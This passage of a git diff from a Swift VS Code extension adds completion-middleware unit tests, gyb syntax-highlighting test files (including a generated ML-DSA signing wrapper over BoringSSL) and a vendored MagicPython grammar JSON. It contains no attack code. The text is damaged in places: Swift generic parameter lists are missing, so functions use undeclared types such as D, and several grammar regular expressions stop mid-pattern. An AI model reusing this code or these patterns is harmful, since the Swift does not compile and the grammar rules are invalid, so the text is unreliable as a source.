}, + ], + }; + }; + + const result = await middleware.provideCompletionItem!( + instance(document), + new vscode.Position(0, 0), + {} as any, + {} as any, + completionListFromLSP + ); + + expect(result).to.deep.equal({ + isIncomplete: false, + items: [ + { + label: "defaultHeaders", + detail: "[String : String]", + kind: vscode.CompletionItemKind.Property, + }, + { + label: "makeRequest(for: NetworkRequest)", + detail: "String", + kind: vscode.CompletionItemKind.Function, + command: { + title: "Trigger Parameter Hints", + command: "editor.action.triggerParameterHints", + }, + }, + ], + }); + }); + + test("handles null/undefined result from next middleware", async () => { + mockParameterHintsEnabled.setValue(() => true); + + const nullCompletionResult = async (): Promise => { + return null; + }; + + const result = await middleware.provideCompletionItem!( + instance(document), + new vscode.Position(0, 0), + {} as any, + {} as any, + nullCompletionResult + ); + + expect(result).to.be.null; + }); + }); + suite("active document changes", () => { const mockWindow = mockGlobalObject(vscode, "window"); diff --git a/test/unit-tests/sourcekit-lsp/uriConverters.test.ts b/test/unit-tests/sourcekit-lsp/uriConverters.test.ts index 82750c02e..09f5b0387 100644 --- a/test/unit-tests/sourcekit-lsp/uriConverters.test.ts +++ b/test/unit-tests/sourcekit-lsp/uriConverters.test.ts @@ -11,10 +11,10 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import { expect } from "chai"; import * as vscode from "vscode"; -import { uriConverters } from "../../../src/sourcekit-lsp/uriConverters"; + +import { uriConverters } from "@src/sourcekit-lsp/uriConverters"; /// Check that decoding the given URI string and re-encoding it results in the original string and that the decoded Uri /// does not cause any assertion failures in `verifyUri`. diff --git a/test/unit-tests/syntaxes/Character.test.swift.gyb b/test/unit-tests/syntaxes/Character.test.swift.gyb new file mode 100644 index 000000000..222fef2ff --- /dev/null +++ b/test/unit-tests/syntaxes/Character.test.swift.gyb @@ -0,0 +1,111 @@ +// SYNTAX TEST "source.swift.gyb" "Character struct" + +%{ +// <- keyword.control.gyb +// <~- punctuation.section.block.begin.gyb + abilities = ['strength', 'perception', 'endurance', 'charisma', 'intelligence', 'agility', 'luck'] +// ^ keyword.operator.assignment.python +// ^ punctuation.definition.list.begin.python +// ^ punctuation.definition.string.begin.python +// ^^^^^^^^ string.quoted.single.python +// ^ punctuation.definition.string.end.python +// ^ punctuation.separator.element.python +}% +// <- punctuation.section.block.end.gyb +// <~- keyword.control.gyb + +enum Hello {} + +% for ability in abilities: +// <- keyword.control.flow.gyb +// <~~--- keyword.control.flow.python +// ^^ keyword.control.flow.python +// ^ punctuation.separator.colon.gyb +print("${ability}") +// <----- support.function.swift +// ^ punctuation.definition.arguments.begin.swift +// ^ punctuation.definition.string.begin.swift +// ^ variable.other.gyb +// ^ punctuation.section.expression.begin.gyb +// ^ punctuation.section.expression.end.gyb +// ^ punctuation.definition.string.end.swift +// ^ punctuation.definition.arguments.end.swift +% end +// <----- meta.embedded.control.end.gyb keyword.control.flow.gyb + +struct Character { +// <------ storage.type.struct.swift +// ^^^^^^^^^ entity.name.type.struct.swift +// ^ punctuation.definition.type.begin.swift + let name: String +// ^^^ keyword.other.declaration-specifier.swift +// ^^^^ meta.definition.type.body.swift +// ^^^^^^ support.type.swift + + % for ability in abilities: +// ^ keyword.control.flow.gyb +// ^^^ keyword.control.flow.python +// ^^ keyword.control.flow.python +// ^ punctuation.separator.colon.gyb + let ${ability}: Int +// ^^^ keyword.other.declaration-specifier.swift +// ^ variable.other.gyb +// ^^ punctuation.section.expression.begin.gyb +// ^ punctuation.section.expression.end.gyb + % end +// ^^^^^ meta.embedded.control.end.gyb keyword.control.flow.gyb + + %{ +// ^ keyword.control.gyb +// ^ punctuation.section.block.begin.gyb + for i in range(10): +// ^^^^^ support.function.builtin.python + print(i) + }% +// ^ punctuation.section.block.end.gyb +// ^ keyword.control.gyb + + enum Error { + case notFound + + % for ability in abilities: + case ${ability} + % end + } +} +// <- punctuation.definition.type.end.swift + +enum World {} + +% for ability in abilities: +// <- keyword.control.flow.gyb +// <~~--- keyword.control.flow.python +// ^^ keyword.control.flow.python +// ^ punctuation.separator.colon.gyb +print("${ability}") +// <----- support.function.swift +// ^ punctuation.definition.arguments.begin.swift +// ^ punctuation.definition.string.begin.swift +// ^ variable.other.gyb +// ^ punctuation.section.expression.begin.gyb +// ^ punctuation.section.expression.end.gyb +// ^ punctuation.definition.string.end.swift +// ^ punctuation.definition.arguments.end.swift +% end +// <----- meta.embedded.control.end.gyb keyword.control.flow.gyb + +struct SimpleCharacter { +// <------ storage.type.struct.swift +// ^^^^^^^^^^^^^^^ entity.name.type.struct.swift +// ^ punctuation.definition.type.begin.swift + let name: String +// ^^^ keyword.other.declaration-specifier.swift +// ^^^^ meta.definition.type.body.swift +// ^^^^^^ support.type.swift + + % for ability in abilities: + let ${ability}: Int + % end +} +// <- punctuation.definition.type.end.swift + diff --git a/test/unit-tests/syntaxes/MLDSA.test.swift.gyb b/test/unit-tests/syntaxes/MLDSA.test.swift.gyb new file mode 100644 index 000000000..71dfb09de --- /dev/null +++ b/test/unit-tests/syntaxes/MLDSA.test.swift.gyb @@ -0,0 +1,395 @@ +// SYNTAX TEST "source.swift.gyb" "MLDSA _CryptoExtras implementation" + +//===----------------------------------------------------------------------===// +// +// This source file is part of the SwiftCrypto open source project +// +// Copyright (c) 2024 Apple Inc. and the SwiftCrypto project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of SwiftCrypto project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// + +// MARK: - Generated file, do NOT edit +// any edits of this file WILL be overwritten and thus discarded +// see section `gyb` in `README` for details. + +@_implementationOnly import CCryptoBoringSSL +import Crypto +import Foundation +%{ +// <- keyword.control.gyb +// <~- punctuation.section.block.begin.gyb + parameter_sets = ["65", "87"] +// ^ keyword.operator.assignment.python +// ^ punctuation.definition.list.begin.python +// ^ punctuation.definition.string.begin.python +// ^^ string.quoted.single.python +// ^ punctuation.definition.string.end.python +// ^ punctuation.separator.element.python +}% +// <- punctuation.section.block.end.gyb +// <~- keyword.control.gyb +% for parameter_set in parameter_sets: +// <- keyword.control.flow.gyb +// <~~--- keyword.control.flow.python +// ^^ keyword.control.flow.python +// ^ punctuation.separator.colon.gyb + +/// A module-lattice-based digital signature algorithm that provides security against quantum computing attacks. +@available(macOS 10.15, iOS 13, watchOS 6, tvOS 13, macCatalyst 13, visionOS 1.0, *) +public enum MLDSA${parameter_set} {} +// <----- keyword.other.declaration-specifier.accessibility.swift +// ^^^^ storage.type.enum.swift +// ^^^^^ entity.name.type.enum.swift +// ^ variable.other.gyb +// ^ punctuation.section.expression.begin.gyb +// ^ punctuation.section.expression.end.gyb + +@available(macOS 10.15, iOS 13, watchOS 6, tvOS 13, macCatalyst 13, visionOS 1.0, *) +extension MLDSA${parameter_set} { +// <--------- storage.type.extension.swift +// ^^^^^ entity.name.type.swift +// ^ variable.other.gyb +// ^ punctuation.section.expression.begin.gyb +// ^ punctuation.section.expression.end.gyb + /// A ML-DSA-${parameter_set} private key. +// ^^^^^^^^^ comment.line.triple-slash.documentation.swift +// ^ variable.other.gyb +// ^ punctuation.section.expression.begin.gyb +// ^ punctuation.section.expression.end.gyb + public struct PrivateKey: Sendable { + private var backing: Backing + + /// Initialize a ML-DSA-${parameter_set} private key from a random seed. +// ^^^^^^^^^^^^^^^^^^^^ comment.line.triple-slash.documentation.swift +// ^ variable.other.gyb +// ^ punctuation.section.expression.begin.gyb +// ^ punctuation.section.expression.end.gyb + public init() throws { + self.backing = try Backing() + } + + /// Initialize a ML-DSA-${parameter_set} private key from a seed. + /// + /// - Parameter seedRepresentation: The seed to use to generate the private key. + /// + /// - Throws: `CryptoKitError.incorrectKeySize` if the seed is not 32 bytes long. + public init(seedRepresentation: some DataProtocol) throws { + self.backing = try Backing(seedRepresentation: seedRepresentation) + } + + /// The seed from which this private key was generated. + public var seedRepresentation: Data { + self.backing.seed + } + + /// The public key associated with this private key. + public var publicKey: PublicKey { + self.backing.publicKey + } + + /// Generate a signature for the given data. + /// + /// - Parameter data: The message to sign. + /// + /// - Returns: The signature of the message. + public func signature(for data: D) throws -> Data { + let context: Data? = nil + return try self.backing.signature(for: data, context: context) + } + + /// Generate a signature for the given data. + /// + /// - Parameters: + /// - data: The message to sign. + /// - context: The context to use for the signature. + /// + /// - Returns: The signature of the message. + public func signature(for data: D, context: C) throws -> Data { + try self.backing.signature(for: data, context: context) + } + + /// The size of the private key in bytes. + static let byteCount = Backing.byteCount + + fileprivate final class Backing { + fileprivate var key: MLDSA${parameter_set}_private_key +// ^^^^^^^^^^^ keyword.other.declaration-specifier.accessibility.swift +// ^^^ keyword.other.declaration-specifier.swift +// ^^^ meta.definition.type.body.swift +// ^^^^^ meta.definition.type.body.swift +// ^ variable.other.gyb +// ^ punctuation.section.expression.begin.gyb +// ^ punctuation.section.expression.end.gyb +// ^^^^^^^^^^^^ meta.definition.type.body.swift + var seed: Data + + /// Initialize a ML-DSA-${parameter_set} private key from a random seed. + init() throws { + // We have to initialize all members before `self` is captured by the closure + self.key = .init() + self.seed = Data() + + self.seed = try withUnsafeTemporaryAllocation( + of: UInt8.self, + capacity: MLDSA.seedByteCount + ) { seedPtr in + try withUnsafeTemporaryAllocation( + of: UInt8.self, + capacity: MLDSA${parameter_set}.PublicKey.Backing.byteCount +// ^^^^^^^^ meta.definition.type.body.swift +// ^ punctuation.separator.argument-label.swift +// ^^^^^ meta.definition.type.body.swift +// ^ variable.other.gyb +// ^ punctuation.section.expression.begin.gyb +// ^ punctuation.section.expression.end.gyb +// ^ meta.function-call.swift +// ^^^^^^^^^ meta.definition.type.body.swift + ) { publicKeyPtr in + guard + CCryptoBoringSSL_MLDSA${parameter_set}_generate_key( +// ^^^^^^^^^^^^^^^^^^^^^^ meta.definition.function.body.swift +// ^ variable.other.gyb +// ^ punctuation.section.expression.begin.gyb +// ^ punctuation.section.expression.end.gyb +// ^^^^^^^^^^^^^ meta.definition.function.body.swift +// ^ punctuation.definition.arguments.begin.swift + publicKeyPtr.baseAddress, + seedPtr.baseAddress, + &self.key + ) == 1 + else { + throw CryptoKitError.internalBoringSSLError() + } + + return Data(bytes: seedPtr.baseAddress!, count: MLDSA.seedByteCount) + } + } + } + + /// Initialize a ML-DSA-${parameter_set} private key from a seed. + /// + /// - Parameter seedRepresentation: The seed to use to generate the private key. + /// + /// - Throws: `CryptoKitError.incorrectKeySize` if the seed is not 32 bytes long. + init(seedRepresentation: some DataProtocol) throws { + guard seedRepresentation.count == MLDSA.seedByteCount else { + throw CryptoKitError.incorrectKeySize + } + + self.key = .init() + self.seed = Data(seedRepresentation) + + guard + self.seed.withUnsafeBytes({ seedPtr in + CCryptoBoringSSL_MLDSA${parameter_set}_private_key_from_seed( + &self.key, + seedPtr.baseAddress, + MLDSA.seedByteCount + ) + }) == 1 + else { + throw CryptoKitError.internalBoringSSLError() + } + } + + /// The public key associated with this private key. + var publicKey: PublicKey { + PublicKey(privateKeyBacking: self) + } + + /// Generate a signature for the given data. + /// + /// - Parameters: + /// - data: The message to sign. + /// - context: The context to use for the signature. + /// + /// - Returns: The signature of the message. + func signature(for data: D, context: C?) throws -> Data { + var signature = Data(repeating: 0, count: MLDSA${parameter_set}.signatureByteCount) + + let rc: CInt = signature.withUnsafeMutableBytes { signaturePtr in + let bytes: ContiguousBytes = data.regions.count == 1 ? data.regions.first! : Array(data) + return bytes.withUnsafeBytes { dataPtr in + context.withUnsafeBytes { contextPtr in + CCryptoBoringSSL_MLDSA${parameter_set}_sign( + signaturePtr.baseAddress, + &self.key, + dataPtr.baseAddress, + dataPtr.count, + contextPtr.baseAddress, + contextPtr.count + ) + } + } + } + + guard rc == 1 else { + throw CryptoKitError.internalBoringSSLError() + } + + return signature + } + + /// The size of the private key in bytes. + static let byteCount = Int(MLDSA${parameter_set}_PRIVATE_KEY_BYTES) + } + } +} + +@available(macOS 10.15, iOS 13, watchOS 6, tvOS 13, macCatalyst 13, visionOS 1.0, *) +extension MLDSA${parameter_set} { + /// A ML-DSA-${parameter_set} public key. + public struct PublicKey: Sendable { + private var backing: Backing + + fileprivate init(privateKeyBacking: PrivateKey.Backing) { + self.backing = Backing(privateKeyBacking: privateKeyBacking) + } + + /// Initialize a ML-DSA-${parameter_set} public key from a raw representation. + /// + /// - Parameter rawRepresentation: The public key bytes. + /// + /// - Throws: `CryptoKitError.incorrectKeySize` if the raw representation is not the correct size. + public init(rawRepresentation: some DataProtocol) throws { + self.backing = try Backing(rawRepresentation: rawRepresentation) + } + + /// The raw binary representation of the public key. + public var rawRepresentation: Data { + self.backing.rawRepresentation + } + + /// Verify a signature for the given data. + /// + /// - Parameters: + /// - signature: The signature to verify. + /// - data: The message to verify the signature against. + /// + /// - Returns: `true` if the signature is valid, `false` otherwise. + public func isValidSignature(_ signature: S, for data: D) -> Bool { + let context: Data? = nil + return self.backing.isValidSignature(signature, for: data, context: context) + } + + /// Verify a signature for the given data. + /// + /// - Parameters: + /// - signature: The signature to verify. + /// - data: The message to verify the signature against. + /// - context: The context to use for the signature verification. + /// + /// - Returns: `true` if the signature is valid, `false` otherwise. + public func isValidSignature( + _ signature: S, + for data: D, + context: C + ) -> Bool { + self.backing.isValidSignature(signature, for: data, context: context) + } + + /// The size of the public key in bytes. + static let byteCount = Backing.byteCount + + fileprivate final class Backing { + private var key: MLDSA${parameter_set}_public_key + + init(privateKeyBacking: PrivateKey.Backing) { + self.key = .init() + CCryptoBoringSSL_MLDSA${parameter_set}_public_from_private(&self.key, &privateKeyBacking.key) + } + + /// Initialize a ML-DSA-${parameter_set} public key from a raw representation. + /// + /// - Parameter rawRepresentation: The public key bytes. + /// + /// - Throws: `CryptoKitError.incorrectKeySize` if the raw representation is not the correct size. + init(rawRepresentation: some DataProtocol) throws { + guard rawRepresentation.count == MLDSA${parameter_set}.PublicKey.Backing.byteCount else { + throw CryptoKitError.incorrectKeySize + } + + self.key = .init() + + let bytes: ContiguousBytes = + rawRepresentation.regions.count == 1 + ? rawRepresentation.regions.first! + : Array(rawRepresentation) + try bytes.withUnsafeBytes { rawBuffer in + try rawBuffer.withMemoryRebound(to: UInt8.self) { buffer in + var cbs = CBS(data: buffer.baseAddress, len: buffer.count) + guard CCryptoBoringSSL_MLDSA${parameter_set}_parse_public_key(&self.key, &cbs) == 1 else { + throw CryptoKitError.internalBoringSSLError() + } + } + } + } + + /// The raw binary representation of the public key. + var rawRepresentation: Data { + var cbb = CBB() + // The following BoringSSL functions can only fail on allocation failure, which we define as impossible. + CCryptoBoringSSL_CBB_init(&cbb, MLDSA${parameter_set}.PublicKey.Backing.byteCount) + defer { CCryptoBoringSSL_CBB_cleanup(&cbb) } + CCryptoBoringSSL_MLDSA${parameter_set}_marshal_public_key(&cbb, &self.key) + return Data(bytes: CCryptoBoringSSL_CBB_data(&cbb), count: CCryptoBoringSSL_CBB_len(&cbb)) + } + + /// Verify a signature for the given data. + /// + /// - Parameters: + /// - signature: The signature to verify. + /// - data: The message to verify the signature against. + /// - context: The context to use for the signature verification. + /// + /// - Returns: `true` if the signature is valid, `false` otherwise. + func isValidSignature( + _ signature: S, + for data: D, + context: C? + ) -> Bool { + let signatureBytes: ContiguousBytes = + signature.regions.count == 1 ? signature.regions.first! : Array(signature) + return signatureBytes.withUnsafeBytes { signaturePtr in + let dataBytes: ContiguousBytes = data.regions.count == 1 ? data.regions.first! : Array(data) + let rc: CInt = dataBytes.withUnsafeBytes { dataPtr in + context.withUnsafeBytes { contextPtr in + CCryptoBoringSSL_MLDSA${parameter_set}_verify( + &self.key, + signaturePtr.baseAddress, + signaturePtr.count, + dataPtr.baseAddress, + dataPtr.count, + contextPtr.baseAddress, + contextPtr.count + ) + } + } + return rc == 1 + } + } + + /// The size of the public key in bytes. + static let byteCount = Int(MLDSA${parameter_set}_PUBLIC_KEY_BYTES) + } + } +} + +@available(macOS 10.15, iOS 13, watchOS 6, tvOS 13, macCatalyst 13, visionOS 1.0, *) +extension MLDSA${parameter_set} { + /// The size of the signature in bytes. + private static let signatureByteCount = Int(MLDSA${parameter_set}_SIGNATURE_BYTES) +} +% end +// <----- meta.embedded.control.end.gyb keyword.control.flow.gyb + +private enum MLDSA { + /// The size of the seed in bytes. + fileprivate static let seedByteCount = 32 +} diff --git a/test/unit-tests/syntaxes/MagicPython.tmLanguage.json b/test/unit-tests/syntaxes/MagicPython.tmLanguage.json new file mode 100644 index 000000000..475e7569d --- /dev/null +++ b/test/unit-tests/syntaxes/MagicPython.tmLanguage.json @@ -0,0 +1,4213 @@ +{ + "information_for_contributors": [ + "This file has been converted from https://github.com/MagicStack/MagicPython/blob/master/grammars/MagicPython.tmLanguage", + "If you want to provide a fix or improvement, please create a pull request against the original repository.", + "Once accepted there, we are happy to receive an update request." + ], + "version": "https://github.com/MagicStack/MagicPython/commit/7d0f2b22a5ad8fccbd7341bc7b7a715169283044", + "name": "MagicPython", + "scopeName": "source.python", + "patterns": [ + { + "include": "#statement" + }, + { + "include": "#expression" + } + ], + "repository": { + "impossible": { + "comment": "This is a special rule that should be used where no match is desired. It is not a good idea to match something like '1{0}' because in some cases that can result in infinite loops in token generation. So the rule instead matches and impossible expression to allow a match to fail and move to the next token.", + "match": "$.^" + }, + "statement": { + "patterns": [ + { + "include": "#import" + }, + { + "include": "#class-declaration" + }, + { + "include": "#function-declaration" + }, + { + "include": "#generator" + }, + { + "include": "#statement-keyword" + }, + { + "include": "#assignment-operator" + }, + { + "include": "#decorator" + }, + { + "include": "#docstring-statement" + }, + { + "include": "#semicolon" + } + ] + }, + "semicolon": { + "patterns": [ + { + "name": "invalid.deprecated.semicolon.python", + "match": "\\;$" + } + ] + }, + "comments": { + "patterns": [ + { + "name": "comment.line.number-sign.python", + "contentName": "meta.typehint.comment.python", + "begin": "(?x)\n (?:\n \\# \\s* (type:)\n \\s*+ (?# we want `\\s*+` which is possessive quantifier since\n we do not actually want to backtrack when matching\n whitespace here)\n (?! $ | \\#)\n )\n", + "end": "(?:$|(?=\\#))", + "beginCaptures": { + "0": { + "name": "meta.typehint.comment.python" + }, + "1": { + "name": "comment.typehint.directive.notation.python" + } + }, + "patterns": [ + { + "name": "comment.typehint.ignore.notation.python", + "match": "(?x)\n \\G ignore\n (?= \\s* (?: $ | \\#))\n" + }, + { + "name": "comment.typehint.type.notation.python", + "match": "(?x)\n (?))" + }, + { + "name": "comment.typehint.variable.notation.python", + "match": "([[:alpha:]_]\\w*)" + } + ] + }, + { + "include": "#comments-base" + } + ] + }, + "docstring-statement": { + "begin": "^(?=\\s*[rR]?(\\'\\'\\'|\\\"\\\"\\\"|\\'|\\\"))", + "comment": "the string either terminates correctly or by the beginning of a new line (this is for single line docstrings that aren't terminated) AND it's not followed by another docstring", + "end": "((?<=\\1)|^)(?!\\s*[rR]?(\\'\\'\\'|\\\"\\\"\\\"|\\'|\\\"))", + "patterns": [ + { + "include": "#docstring" + } + ] + }, + "docstring": { + "patterns": [ + { + "name": "string.quoted.docstring.multi.python", + "begin": "(\\'\\'\\'|\\\"\\\"\\\")", + "end": "(\\1)", + "beginCaptures": { + "1": { + "name": "punctuation.definition.string.begin.python" + } + }, + "endCaptures": { + "1": { + "name": "punctuation.definition.string.end.python" + } + }, + "patterns": [ + { + "include": "#docstring-prompt" + }, + { + "include": "#codetags" + }, + { + "include": "#docstring-guts-unicode" + } + ] + }, + { + "name": "string.quoted.docstring.raw.multi.python", + "begin": "([rR])(\\'\\'\\'|\\\"\\\"\\\")", + "end": "(\\2)", + "beginCaptures": { + "1": { + "name": "storage.type.string.python" + }, + "2": { + "name": "punctuation.definition.string.begin.python" + } + }, + "endCaptures": { + "1": { + "name": "punctuation.definition.string.end.python" + } + }, + "patterns": [ + { + "include": "#string-consume-escape" + }, + { + "include": "#docstring-prompt" + }, + { + "include": "#codetags" + } + ] + }, + { + "name": "string.quoted.docstring.single.python", + "begin": "(\\'|\\\")", + "end": "(\\1)|(\\n)", + "beginCaptures": { + "1": { + "name": "punctuation.definition.string.begin.python" + } + }, + "endCaptures": { + "1": { + "name": "punctuation.definition.string.end.python" + }, + "2": { + "name": "invalid.illegal.newline.python" + } + }, + "patterns": [ + { + "include": "#codetags" + }, + { + "include": "#docstring-guts-unicode" + } + ] + }, + { + "name": "string.quoted.docstring.raw.single.python", + "begin": "([rR])(\\'|\\\")", + "end": "(\\2)|(\\n)", + "beginCaptures": { + "1": { + "name": "storage.type.string.python" + }, + "2": { + "name": "punctuation.definition.string.begin.python" + } + }, + "endCaptures": { + "1": { + "name": "punctuation.definition.string.end.python" + }, + "2": { + "name": "invalid.illegal.newline.python" + } + }, + "patterns": [ + { + "include": "#string-consume-escape" + }, + { + "include": "#codetags" + } + ] + } + ] + }, + "docstring-guts-unicode": { + "patterns": [ + { + "include": "#escape-sequence-unicode" + }, + { + "include": "#escape-sequence" + }, + { + "include": "#string-line-continuation" + } + ] + }, + "docstring-prompt": { + "match": "(?x)\n (?:\n (?:^|\\G) \\s* (?# '\\G' is necessary for ST)\n ((?:>>>|\\.\\.\\.) \\s) (?=\\s*\\S)\n )\n", + "captures": { + "1": { + "name": "keyword.control.flow.python" + } + } + }, + "statement-keyword": { + "patterns": [ + { + "name": "storage.type.function.python", + "match": "\\b((async\\s+)?\\s*def)\\b" + }, + { + "name": "keyword.control.flow.python", + "comment": "if `as` is eventually followed by `:` or line continuation\nit's probably control flow like:\n with foo as bar, \\\n Foo as Bar:\n try:\n do_stuff()\n except Exception as e:\n pass\n", + "match": "\\b(?>= | //= | \\*\\*=\n | \\+= | -= | /= | @=\n | \\*= | %= | ~= | \\^= | &= | \\|=\n | =(?!=)\n" + }, + "operator": { + "match": "(?x)\n \\b(?> | & | \\| | \\^ | ~) (?# 3)\n\n | (\\*\\* | \\* | \\+ | - | % | // | / | @) (?# 4)\n\n | (!= | == | >= | <= | < | >) (?# 5)\n\n | (:=) (?# 6)\n", + "captures": { + "1": { + "name": "keyword.operator.logical.python" + }, + "2": { + "name": "keyword.control.flow.python" + }, + "3": { + "name": "keyword.operator.bitwise.python" + }, + "4": { + "name": "keyword.operator.arithmetic.python" + }, + "5": { + "name": "keyword.operator.comparison.python" + }, + "6": { + "name": "keyword.operator.assignment.python" + } + } + }, + "punctuation": { + "patterns": [ + { + "name": "punctuation.separator.colon.python", + "match": ":" + }, + { + "name": "punctuation.separator.element.python", + "match": "," + } + ] + }, + "literal": { + "patterns": [ + { + "name": "constant.language.python", + "match": "\\b(True|False|None|NotImplemented|Ellipsis)\\b" + }, + { + "include": "#number" + } + ] + }, + "number": { + "name": "constant.numeric.python", + "patterns": [ + { + "include": "#number-float" + }, + { + "include": "#number-dec" + }, + { + "include": "#number-hex" + }, + { + "include": "#number-oct" + }, + { + "include": "#number-bin" + }, + { + "include": "#number-long" + }, + { + "name": "invalid.illegal.name.python", + "match": "\\b[0-9]+\\w+" + } + ] + }, + "number-float": { + "name": "constant.numeric.float.python", + "match": "(?x)\n (?=^]? [-+ ]? \\#?\n \\d* ,? (\\.\\d+)? [bcdeEfFgGnosxX%]? )?\n })\n )\n", + "captures": { + "1": { + "name": "constant.character.format.placeholder.other.python" + }, + "3": { + "name": "storage.type.format.python" + }, + "4": { + "name": "storage.type.format.python" + } + } + }, + { + "name": "meta.format.brace.python", + "match": "(?x)\n (\n {\n \\w* (\\.[[:alpha:]_]\\w* | \\[[^\\]'\"]+\\])*\n (![rsa])?\n (:)\n [^'\"{}\\n]* (?:\n \\{ [^'\"}\\n]*? \\} [^'\"{}\\n]*\n )*\n }\n )\n", + "captures": { + "1": { + "name": "constant.character.format.placeholder.other.python" + }, + "3": { + "name": "storage.type.format.python" + }, + "4": { + "name": "storage.type.format.python" + } + } + } + ] + }, + "fstring-formatting": { + "patterns": [ + { + "include": "#fstring-formatting-braces" + }, + { + "include": "#fstring-formatting-singe-brace" + } + ] + }, + "fstring-formatting-singe-brace": { + "name": "invalid.illegal.brace.python", + "match": "(}(?!}))" + }, + "import": { + "comment": "Import statements used to correctly mark `from`, `import`, and `as`\n", + "patterns": [ + { + "begin": "\\b(?)", + "end": "(?=:)", + "beginCaptures": { + "1": { + "name": "punctuation.separator.annotation.result.python" + } + }, + "patterns": [ + { + "include": "#expression" + } + ] + }, + "item-access": { + "patterns": [ + { + "name": "meta.item-access.python", + "begin": "(?x)\n \\b(?=\n [[:alpha:]_]\\w* \\s* \\[\n )\n", + "end": "(\\])", + "endCaptures": { + "1": { + "name": "punctuation.definition.arguments.end.python" + } + }, + "patterns": [ + { + "include": "#item-name" + }, + { + "include": "#item-index" + }, + { + "include": "#expression" + } + ] + } + ] + }, + "item-name": { + "patterns": [ + { + "include": "#special-variables" + }, + { + "include": "#builtin-functions" + }, + { + "include": "#special-names" + }, + { + "name": "meta.indexed-name.python", + "match": "(?x)\n \\b ([[:alpha:]_]\\w*) \\b\n" + } + ] + }, + "item-index": { + "begin": "(\\[)", + "end": "(?=\\])", + "beginCaptures": { + "1": { + "name": "punctuation.definition.arguments.begin.python" + } + }, + "contentName": "meta.item-access.arguments.python", + "patterns": [ + { + "name": "punctuation.separator.slice.python", + "match": ":" + }, + { + "include": "#expression" + } + ] + }, + "decorator": { + "name": "meta.function.decorator.python", + "begin": "(?x)\n ^\\s*\n ((@)) \\s* (?=[[:alpha:]_]\\w*)\n", + "end": "(?x)\n ( \\) )\n # trailing whitespace and comments are legal\n (?: (.*?) (?=\\s*(?:\\#|$)) )\n | (?=\\n|\\#)\n", + "beginCaptures": { + "1": { + "name": "entity.name.function.decorator.python" + }, + "2": { + "name": "punctuation.definition.decorator.python" + } + }, + "endCaptures": { + "1": { + "name": "punctuation.definition.arguments.end.python" + }, + "2": { + "name": "invalid.illegal.decorator.python" + } + }, + "patterns": [ + { + "include": "#decorator-name" + }, + { + "include": "#function-arguments" + } + ] + }, + "decorator-name": { + "patterns": [ + { + "include": "#builtin-callables" + }, + { + "include": "#illegal-object-name" + }, + { + "name": "entity.name.function.decorator.python", + "match": "(?x)\n ([[:alpha:]_]\\w*) | (\\.)\n", + "captures": { + "2": { + "name": "punctuation.separator.period.python" + } + } + }, + { + "include": "#line-continuation" + }, + { + "name": "invalid.illegal.decorator.python", + "match": "(?x)\n \\s* ([^([:alpha:]\\s_\\.#\\\\] .*?) (?=\\#|$)\n", + "captures": { + "1": { + "name": "invalid.illegal.decorator.python" + } + } + } + ] + }, + "call-wrapper-inheritance": { + "comment": "same as a function call, but in inheritance context", + "name": "meta.function-call.python", + "begin": "(?x)\n \\b(?=\n ([[:alpha:]_]\\w*) \\s* (\\()\n )\n", + "end": "(\\))", + "endCaptures": { + "1": { + "name": "punctuation.definition.arguments.end.python" + } + }, + "patterns": [ + { + "include": "#inheritance-name" + }, + { + "include": "#function-arguments" + } + ] + }, + "inheritance-name": { + "patterns": [ + { + "include": "#lambda-incomplete" + }, + { + "include": "#builtin-possible-callables" + }, + { + "include": "#inheritance-identifier" + } + ] + }, + "function-call": { + "name": "meta.function-call.python", + "comment": "Regular function call of the type \"name(args)\"", + "begin": "(?x)\n \\b(?=\n ([[:alpha:]_]\\w*) \\s* (\\()\n )\n", + "end": "(\\))", + "endCaptures": { + "1": { + "name": "punctuation.definition.arguments.end.python" + } + }, + "patterns": [ + { + "include": "#special-variables" + }, + { + "include": "#function-name" + }, + { + "include": "#function-arguments" + } + ] + }, + "function-name": { + "patterns": [ + { + "include": "#builtin-possible-callables" + }, + { + "comment": "Some color schemas support meta.function-call.generic scope", + "name": "meta.function-call.generic.python", + "match": "(?x)\n \\b ([[:alpha:]_]\\w*) \\b\n" + } + ] + }, + "function-arguments": { + "begin": "(\\()", + "end": "(?=\\))(?!\\)\\s*\\()", + "beginCaptures": { + "1": { + "name": "punctuation.definition.arguments.begin.python" + } + }, + "contentName": "meta.function-call.arguments.python", + "patterns": [ + { + "name": "punctuation.separator.arguments.python", + "match": "(,)" + }, + { + "match": "(?x)\n (?:(?<=[,(])|^) \\s* (\\*{1,2})\n", + "captures": { + "1": { + "name": "keyword.operator.unpacking.arguments.python" + } + } + }, + { + "include": "#lambda-incomplete" + }, + { + "include": "#illegal-names" + }, + { + "match": "\\b([[:alpha:]_]\\w*)\\s*(=)(?!=)", + "captures": { + "1": { + "name": "variable.parameter.function-call.python" + }, + "2": { + "name": "keyword.operator.assignment.python" + } + } + }, + { + "name": "keyword.operator.assignment.python", + "match": "=(?!=)" + }, + { + "include": "#expression" + }, + { + "match": "\\s*(\\))\\s*(\\()", + "captures": { + "1": { + "name": "punctuation.definition.arguments.end.python" + }, + "2": { + "name": "punctuation.definition.arguments.begin.python" + } + } + } + ] + }, + "builtin-callables": { + "patterns": [ + { + "include": "#illegal-names" + }, + { + "include": "#illegal-object-name" + }, + { + "include": "#builtin-exceptions" + }, + { + "include": "#builtin-functions" + }, + { + "include": "#builtin-types" + } + ] + }, + "builtin-possible-callables": { + "patterns": [ + { + "include": "#builtin-callables" + }, + { + "include": "#magic-names" + } + ] + }, + "builtin-exceptions": { + "name": "support.type.exception.python", + "match": "(?x) (?" + }, + "regexp-base-expression": { + "patterns": [ + { + "include": "#regexp-quantifier" + }, + { + "include": "#regexp-base-common" + } + ] + }, + "fregexp-base-expression": { + "patterns": [ + { + "include": "#fregexp-quantifier" + }, + { + "include": "#fstring-formatting-braces" + }, + { + "match": "\\{.*?\\}" + }, + { + "include": "#regexp-base-common" + } + ] + }, + "fstring-formatting-braces": { + "patterns": [ + { + "comment": "empty braces are illegal", + "match": "({)(\\s*?)(})", + "captures": { + "1": { + "name": "constant.character.format.placeholder.other.python" + }, + "2": { + "name": "invalid.illegal.brace.python" + }, + "3": { + "name": "constant.character.format.placeholder.other.python" + } + } + }, + { + "name": "constant.character.escape.python", + "match": "({{|}})" + } + ] + }, + "regexp-base-common": { + 